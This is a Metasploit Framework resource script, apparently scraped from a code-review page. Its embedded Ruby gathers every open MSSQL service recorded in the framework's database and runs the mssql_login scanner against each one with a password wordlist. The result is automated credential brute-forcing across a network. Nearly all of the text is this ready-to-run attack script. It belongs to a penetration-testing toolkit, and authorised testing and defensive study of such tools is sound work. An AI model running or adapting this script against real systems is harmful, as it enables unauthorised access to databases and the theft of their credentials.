rapid7/metasploit-framework

View on GitHub
scripts/resource/mssql_brute.rc

Summary

Maintainability
Test Coverage
<ruby>

#
# Reference:
# http://carnal0wnage.attackresearch.com/2013/01/mssql-brute-forcing-with-resource.html
#

hosts = []

begin
    framework.db.services.each do |service|
        if ( service.name =~ /mssql/i and service.state == 'open' and service.proto == 'tcp')
            hosts << {'ip' => service.host.address, 'port' => service.port}
        end
    end
rescue ActiveRecord::ConnectionNotEstablished
puts "DB not connected..."
# Uncomment if you want auto-reconnect and retry (on really large scans the db connector can time out)
# self.run_single('db_connect <creds>')
# puts "trying again..."
# retry
end

self.run_single("use auxiliary/scanner/mssql/mssql_login")
self.run_single('set PASS_FILE /opt/framework/data/wordlists/mssql.txt')
#self.run_single('set STOP_ON_SUCCESS TRUE')
hosts.each do |rhost|

    self.run_single("set RHOSTS #{rhost['ip']}")
    self.run_single("set RPORT #{rhost['port']}")
    self.run_single('set BRUTEFORCE_SPEED 5')
    self.run_single('set BLANK_PASSWORDS false')
    self.run_single('set USER_AS_PASS false')
    self.run_single('run')
    sleep 1
end
</ruby>